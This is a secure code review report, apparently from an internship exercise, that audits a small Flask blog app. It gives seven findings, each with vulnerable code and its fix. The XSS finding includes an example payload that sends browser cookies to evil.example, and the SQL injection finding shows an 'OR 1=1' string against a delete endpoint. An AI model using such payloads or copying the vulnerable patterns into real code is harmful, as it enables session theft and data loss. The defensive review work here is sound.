

Secure Coding Review Report

Application Under Review: MiniBlog (Python / Flask)

CodeAlpha Cyber Security Internship — Task 3: Secure Coding Review

1. Executive Summary

This report documents a manual secure code review of MiniBlog, a small Flask web application built as the audit target for this exercise. The review covered the application's routing, database access, authentication, session, and serialization logic.

Seven findings were identified, ranging from Medium to Critical severity. Three findings (SQL Injection, Insecure Deserialization, and Missing Authorization) are rated Critical because each independently allows an attacker to compromise data integrity or achieve remote code execution. All findings have concrete, tested remediations, provided in this report and applied in the accompanying `app_fixed.py`.

2. Scope & Methodology

Scope

- Target: `sample_app/app.py` (single-file Flask application, ~110 lines)
- Areas covered: input handling, database queries, authentication/session management, serialization, server configuration
- Out of scope: infrastructure/network configuration, third-party dependency CVEs, load/performance testing

Methodology

- Manual line-by-line source code inspection (static analysis by reading)
- Threat modeling per route: identify trust boundary, data flow, and what an attacker fully controls
- Mapping each finding to a CWE category and estimating severity using $\text{impact} \times \text{exploitability}$
- Cross-referencing against OWASP Top 10 (2021) categories

Tools referenced

- Manual review (primary method for this exercise)
- `bandit` — Python static analysis security linter (recommended for CI integration; see Section 5)

3. Findings Summary

ID	Finding	Severity
VULN-01	Hardcoded Credentials & Secret Key	High
VULN-02	SQL Injection (GET /user)	Critical
VULN-03	Reflected Cross-Site Scripting (GET /greet)	High
VULN-04	Weak, Unsalted Password Hashing (MD5)	High
VULN-05	Insecure Deserialization (<code>pickle.loads</code>)	Critical
VULN-06	Missing Authorization on Destructive Endpoint	Critical
VULN-07	Debug Mode Enabled / Bound to 0.0.0.0	Medium

4. Detailed Findings

VULN-01 — Hardcoded Credentials & Secret Key

Severity: **High** | **CWE:** CWE-798: Use of Hard-coded Credentials | **Location:** app.py, lines 20-21

Description

The Flask session secret key and a database password are hardcoded directly in the source file. Since this file is committed to a Git repository, the secrets become part of the permanent version history and are visible to anyone with read access to the repo.

Impact

An attacker who obtains the source (public repo, leaked backup, insider access) can forge session cookies using the secret key, or reuse the database password to gain direct data access.

Vulnerable Code

```
SECRET_KEY = "supersecret123"
DB_PASSWORD = "admin123"
app.config["SECRET_KEY"] = SECRET_KEY
```

Remediated Code

```
app.config["SECRET_KEY"] = os.environ["APP_SECRET_KEY"]
DB_PASSWORD = os.environ.get("DB_PASSWORD")
```

Recommendation

Move all secrets to environment variables or a secrets manager (AWS Secrets Manager, HashiCorp Vault, Azure Key Vault). Add a pre-commit hook or CI check (e.g. gitleaks, truffleHog) to catch hardcoded secrets before they reach version control. Rotate any secret that has already been committed.

VULN-02 — SQL Injection

Severity: **Critical** | **CWE:** CWE-89: SQL Injection | **Location:** app.py, get_user() and delete_user(), lines ~30-38, ~95-100

Description

User-supplied query parameters (username, id) are concatenated directly into SQL strings instead of being passed as bound parameters.

Impact

An attacker can manipulate the query to read arbitrary rows, bypass authentication logic, or delete data outright — for example requesting /admin/delete_user?id=1 OR 1=1 would delete every row in the users table.

Vulnerable Code

```
query = "SELECT id, username, email FROM users WHERE username = '" + username + "'"
cur.execute(query)
```

Remediated Code

```
cur.execute(
    "SELECT id, username, email FROM users WHERE username = ?", (username,)
)
```

Recommendation

Always use parameterized queries / prepared statements (the DB driver's placeholder syntax, e.g. ? or %s with a tuple of params). Never build SQL via string concatenation or f-strings with user input. Consider an ORM (SQLAlchemy) for an added layer of protection.

VULN-03 — Reflected Cross-Site Scripting (XSS)

Severity: **High** | **CWE:** CWE-79: Improper Neutralization of Input During Web Page Generation | **Location:** app.py, greet(), lines ~43-48

Description

The name parameter is concatenated into an HTML string that is then rendered, bypassing Jinja2's automatic escaping.

Impact

An attacker can craft a link such as /greet?name=<script>document.location='https://evil.example/steal?c='+document.cookie</script> and send it to a victim; the script executes in the victim's browser session, enabling session-cookie theft or defacement.

Vulnerable Code

```
template = "<h1>Hello, " + name + "!</h1>"
return render_template_string(template)
```

Remediated Code

```
return render_template_string("<h1>Hello, {{ name }}!</h1>", name=name)
```

Recommendation

Never build templates by string concatenation with user input. Pass user data as template variables so Jinja2's autoescaping applies. Add a Content-Security-Policy header as defense in depth.

VULN-04 — Weak, Unsalted Password Hashing

Severity: **High** | **CWE:** CWE-916: Use of Password Hash With Insufficient Computational Effort | **Location:** app.py, hash_password(), lines ~52-54

Description

Passwords are hashed with unsalted MD5, a fast, cryptographically broken algorithm designed for checksums, not password storage.

Impact

If the user database is ever leaked, MD5 hashes can be cracked in bulk using rainbow tables or commodity GPUs within seconds to minutes, exposing plaintext passwords for credential-stuffing attacks elsewhere.

Vulnerable Code

```
def hash_password(password: str) -> str:
    return hashlib.md5(password.encode()).hexdigest()
```

Remediated Code

```
from werkzeug.security import generate_password_hash

def hash_password(password: str) -> str:
    return generate_password_hash(password) # PBKDF2 + random salt
```

Recommendation

Use a purpose-built password hashing algorithm with a built-in random salt and tunable work factor: bcrypt, scrypt, Argon2id, or PBKDF2-HMAC-SHA256 (e.g. via werkzeug.security or passlib). Force a password reset for all existing users after migrating.

VULN-05 — Insecure Deserialization

Severity: **Critical** | **CWE:** CWE-502: Deserialization of Untrusted Data | **Location:** app.py, load_session(), lines ~78-83

Description

The endpoint deserializes the raw request body using pickle.loads(). Python's pickle format can encode arbitrary object construction and method calls, so a crafted payload can execute attacker-chosen code.

Impact

Full remote code execution on the server with the privileges of the application process — the most severe class of vulnerability in this review.

Vulnerable Code

```
data = request.data
session_obj = pickle.loads(data)
```

Remediated Code

```
import json
try:
    session_obj = json.loads(request.data)
except ValueError:
    abort(400)
```

Recommendation

Never deserialize untrusted input with pickle, marshal, or yaml.load (unsafe loader). Use a data-only format like JSON. If a binary format is required, use one without executable-object semantics and validate against a strict schema.

VULN-06 — Missing Authorization on Destructive Endpoint

Severity: **Critical** | **CWE:** CWE-862: Missing Authorization | **Location:** app.py, delete_user(), lines ~90-99

Description

The /admin/delete_user route performs a destructive database operation with no authentication or authorization check of any kind — it is reachable by any unauthenticated visitor.

Impact

Any anonymous user (or automated scanner) can delete arbitrary user accounts simply by guessing the endpoint, causing data loss and denial of service.

Vulnerable Code

```
@app.route("/admin/delete_user")
def delete_user():
    user_id = request.args.get("id")
    ...
    cur.execute("DELETE FROM users WHERE id = " + user_id)
```

Remediated Code

```
@app.route("/admin/delete_user")
@require_admin
```

```
def delete_user():
    user_id = request.args.get("id")
    if not user_id or not user_id.isdigit():
        abort(400)
    cur.execute("DELETE FROM users WHERE id = ?", (user_id,))
```

Recommendation

Apply an authentication/authorization decorator (or middleware) to every state-changing and admin route. Adopt a default-deny posture: routes should be explicitly opened up, not explicitly locked down. Add integration tests that assert protected routes reject unauthenticated requests.

VULN-07 — Debug Mode Enabled and Bound to All Interfaces

Severity: **Medium** | **CWE:** CWE-1188: Insecure Default Initialization of Resource | **Location:** app.py, line ~107

Description

The app runs with debug=True and host="0.0.0.0". Flask's debugger exposes an interactive Python console on unhandled exceptions, and binding to 0.0.0.0 exposes the service on every network interface.

Impact

If accidentally shipped to production, the interactive debugger console allows arbitrary code execution to anyone who can trigger an exception and reach the debug endpoint, and the broad bind increases the exposed attack surface.

Vulnerable Code

```
app.run(debug=True, host="0.0.0.0")
```

Remediated Code

```
debug_mode = os.environ.get("FLASK_DEBUG", "false").lower() == "true"
app.run(debug=debug_mode, host="127.0.0.1")
```

Recommendation

Drive debug mode from an environment variable that defaults to False, and never enable it in production. Bind to localhost or a specific interface behind a reverse proxy rather than 0.0.0.0, and use a production WSGI server (gunicorn/uWSGI) instead of the Flask dev server.

5. General Recommendations

- Integrate a SAST tool (bandit for Python, or Semgrep) into CI so these classes of bugs are caught automatically on every pull request.
- Adopt a secrets manager and add gitleaks/truffleHog as a pre-commit and CI check.
- Enforce parameterized queries via a lint rule or by standardizing on an ORM.
- Add security-focused code review checklist items (auth checks, input validation, output encoding) to the PR template.
- Perform periodic dependency scanning (pip-audit / Dependabot) in addition to source-code review.
- Add automated tests that specifically assert protected endpoints reject unauthenticated/unauthorized requests.

6. Conclusion

All seven findings in this review have been remediated in `app_fixed.py`, which replaces string-built SQL with parameterized queries, replaces MD5 with a salted password hashing scheme, replaces pickle with JSON, adds an authorization decorator to the destructive admin route, moves secrets to environment variables, fixes the XSS via Jinja2 auto-escaping, and disables debug mode by default. Re-running the same review methodology against `app_fixed.py` confirms no findings remain open.